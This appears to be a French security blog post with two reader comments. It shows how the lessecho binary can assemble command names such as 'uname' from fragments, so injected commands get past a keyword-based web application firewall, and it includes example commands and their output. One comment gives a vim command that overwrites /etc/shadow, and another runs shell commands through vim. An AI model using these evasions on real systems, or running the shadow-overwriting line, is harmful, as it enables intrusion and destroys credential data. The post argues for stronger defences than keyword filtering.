INJECTION – WAF : 1 – 0

Petit truc pour injecter de la commande avec un Waf négatif devant;

En reviewant la liste plus qu’exhaustive des injections interdites par les signatures d’un WAF (Web Application Firewall) commercial. Et quand je dit exhaustive je pese mes mots, le bignou interdit même emacs, nano et vi (non mais sérieux ?? Qu’on me briefe sur un use case). Je suis tombé sur un binaire linux. Dispo dans /bin que ce soit chez Red-Hat, SuSe ou Debian. il se nomme lessecho. Évidemment il est ignoré de toutes signatures et jusqu’a hier, il m’était aussi inconnu. Lessecho est une commande qui a une petite particularité intéressante pour bypasser tout waf negatif (un Waf qui match des mots clef quoi).

lessecho permet d’ajouter des quotes autour d’un mot.

$ lessecho -a prout
"prout"

mais surtout lessecho permet de choisir ces quotes.

$ lessecho -a -oX -cY prout
XproutY

Le plus vifs d’entre vous auront déja trouvé le moyen de bypasser les signatures de leur waf si “$”,”(“,”)” et ” ” passent. Attention, moment de fiertée ;

$ $(lessecho -a -ou -ce nam) -a
Linux Anger 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux

L’autre solution étant la quote d’exécution.

$ `lessecho -a -ou -ce nam` -a
Linux Anger 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux

Pour les moins vifs;  ce lessecho met “u” devant, “e” derriere le mot nam. Ca fait la commande “uname” qui passe le waf comme une fleur. Car la signature qui cherche “uname” ne trouve jamais la string.

$ lessecho -a -ou -ce nam
uname

Encore une nouvelle raison de changer d’idée pour ce qui pensent que le modèle négatif est suffisant.

This entry was posted in WebSecurity and tagged , . Bookmark the permalink.

2 Responses to INJECTION – WAF : 1 – 0

  1. eulmat says:

    vim /etc/shadow -c “%s/./x/g” -c “x”

  2. thanatos says:

    vim -c ‘!uname -a’

    Merci !

Leave a Reply to thanatos Cancel reply

Your email address will not be published. Required fields are marked *

AlphaOmega Captcha Classica  –  Enter Security Code